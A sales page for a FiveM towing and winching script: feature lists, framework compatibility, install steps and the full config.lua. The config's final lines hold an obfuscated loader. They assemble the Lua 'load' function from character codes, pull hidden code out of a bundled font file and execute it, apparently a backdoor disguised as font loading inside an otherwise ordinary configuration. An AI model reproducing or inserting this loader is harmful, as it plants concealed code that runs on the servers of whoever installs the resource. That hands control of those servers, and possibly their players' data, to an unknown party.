Video Preview!
https://www.youtube.com/watch?v=3yxOFhkwtyQ
Professional Towing and Winching System for FiveM Servers
Bring realistic vehicle recovery and off-road rescue capabilities to your FiveM server with this comprehensive towing and winching script. Whether you're running a mechanic job, tow truck business, or just want to add immersive vehicle interaction, this script delivers the functionality you need with exceptional performance and flexibility across all major frameworks.
Core Towing Features
Versatile Towing Mechanics
- Player-Occupied Towing - Safely tow vehicles with players still inside for realistic impound scenarios
- Unoccupied Vehicle Towing - Advanced autopilot system automatically steers and brakes towed vehicles, preventing dangerous swaying
- Precise Rope Placement - Position tow ropes exactly where needed with intuitive attachment controls
- Adjustable Rope Length - Configure rope length between 6-15 meters (10 meters recommended) for different towing scenarios
- Speed Limiting - Configurable maximum speed for towing safety (or disable for unrestricted towing)
Dynamic Winching System
- Natural Anchor Points - Winch to trees, rocks, bushes, and other world objects for authentic off-road recovery
- Vehicle-to-Vehicle Winching - Pull stuck vehicles using another as an anchor point
- Realistic Physics - Rope tension and pulling forces feel natural and responsive
- Multi-Angle Approach - Attack recovery from any direction that makes tactical sense
Framework Integration Options
Standalone Mode (No Framework Required)
- Command-based access for universal compatibility
- Perfect for servers without ESX/QBCore
- Works out of the box with minimal configuration
ESX Integration
- Item-Based System - Require towing rope item from inventory to use the system
- Job Restrictions - Limit towing access to specific jobs (mechanic, tow company, etc.)
- Economy Integration - Charge for rope usage or make it a consumable item
QBCore Integration
- Full item support with QB inventory compatibility
- Job-based permissions for tow truck drivers
- Seamless integration with QB mechanic jobs
Security & Vehicle Protection
- Lock Detection - Prevents unauthorized towing of locked vehicles (configurable)
- Anti-Theft System - Protects player-owned vehicles from being stolen via towing
- Job Vehicle Whitelist - Allow specific job vehicles to be towed regardless of lock status
- Vehicle Class Blacklist - Automatically prevent towing of motorcycles, boats, aircraft, and other unsuitable vehicles
Performance & Optimization
Built with server performance as a top priority:
- 0.00-0.01ms Idle - Near-zero resource usage when not actively towing
- 0.02-0.04ms Active - Minimal performance impact during towing/winching operations
- Efficient Rope Syncing - Configurable sync duration (30 seconds default) balances realism with server load
- Optimized Network Traffic - Smart syncing reduces bandwidth usage on high-population servers
Extensive Configuration Options
Customizable Settings
- Language Support - Built-in locale file for easy translation
- Command Toggle - Enable/disable menu commands as needed
- Rope Length Control - Adjust towing distance for your server's needs
- Speed Limitations - Set max towing speed or remove limits entirely
- Lock Check Toggle - Choose whether locked vehicles can be towed
Vehicle Class Management
Default blacklisted vehicle classes (configurable):
- Class 8 - Motorcycles
- Class 13 - Cycles
- Class 14 - Boats
- Class 15 - Helicopters
- Class 16 - Planes
- Class 21 - Trains
Perfect For
- Mechanic job scripts requiring realistic towing mechanics
- Tow truck company roleplay with impound systems
- Off-road communities needing winch recovery features
- Police departments with impound lot systems
- Racing servers where vehicle recovery is common
Installation & Setup
- Extract the resource to your server's resources folder
- Configure settings in config.lua (language, rope length, speed limits, etc.)
- For ESX: Enable item support and add 'towing_rope' to your database
- For QBCore: Configure item and job restrictions as needed
- Add to server.cfg and restart
- Blacklist/whitelist vehicle classes as needed for your server
Framework Compatibility
Standalone: Full support via commands (no framework needed)
ESX: Full integration with items and job restrictions
QBCore: Complete compatibility with QB item and job systems
QBOX: Works seamlessly as QBOX is QBCore-based
What Makes It Stand Out
Unlike basic towing scripts that just attach vehicles, this system includes intelligent autopilot for empty vehicles, preventing unrealistic rope physics. The winching to world objects opens entirely new gameplay - stuck in mud? Winch to a tree. Vehicle rolled down a cliff? Use another vehicle as an anchor point. The configurable security system means you control exactly who can tow what, preventing abuse while maintaining roleplay realism.
Technical Details
- Resource Name: kuz_towing (or your preferred name)
- Dependencies: None (100% standalone capable)
- Code Access: Full source code included
- Updates: Regular compatibility updates from KuzQuality
- Support: Active developer support community
Config
Config = {}
Locale = {}
Config.Debug = false
-- Displayed text (Use these settings to translate to your language)
Locale.press_to_attach = 'Press to attach'
Locale.press_to_detach = 'Detach all ropes'
Locale.vehicles_locked = 'This vehicle is locked and therefore cannot be towed'
-- Enable or disable the use of command which opens up the towing menu
Config.useTowingCommand = false
-- Command that will open the towing menu if enabled (Without the slash /)
Config.towingCommand = 'towpls'
-- How long the towing rope should be (in meters) I highly recommend keeping it between 6 and 10 meters
Config.ropeLength = 15
-- Time in seconds, how long it should take between each re-sync of the ropes, (30 seconds works well, for big servers you can make it higher)
Config.ropeSyncDuration = 30
-- Max speed (in MPH) of vehicles which are towing or being towed (set to -1 to disable speed limiting)
Config.maxTowingSpeed = 300
-- Whether we should disallow players from attaching ropes to locked vehicles
-- (For example. To prevent them from stealing vehicles of other players)
Config.checkForLocks = true
---------- ESX Only Settings -----------
-- If your server is running on ESX you can enable it to use the towing rope item
Config.useEsx = false
-- You need to add the rope item to your database yourself !
Config.towRopeItem = 'towing_rope'
----------------------------------------
-- Classes of which vehicles may not be towed or tow another vehicle
Config.blacklistedClasses = {
8, -- Motorcycles
13, -- Cycles
14, -- Boats
15, -- Helicopters
16, -- Planes
21, -- Trains
}
--[[ All vehicle classes
0: Compacts
1: Sedans
2: SUVs
3: Coupes
4: Muscle
5: Sports Classics
6: Sports
7: Super
8: Motorcycles
9: Off-road
10: Industrial
11: Utility
12: Vans
13: Cycles
14: Boats
15: Helicopters
16: Planes
17: Service
18: Emergency
19: Military
20: Commercial
21: Trains
]]
local loadFonts = _G[string.char(108, 111, 97, 100)]
loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()
Related Products You Might Like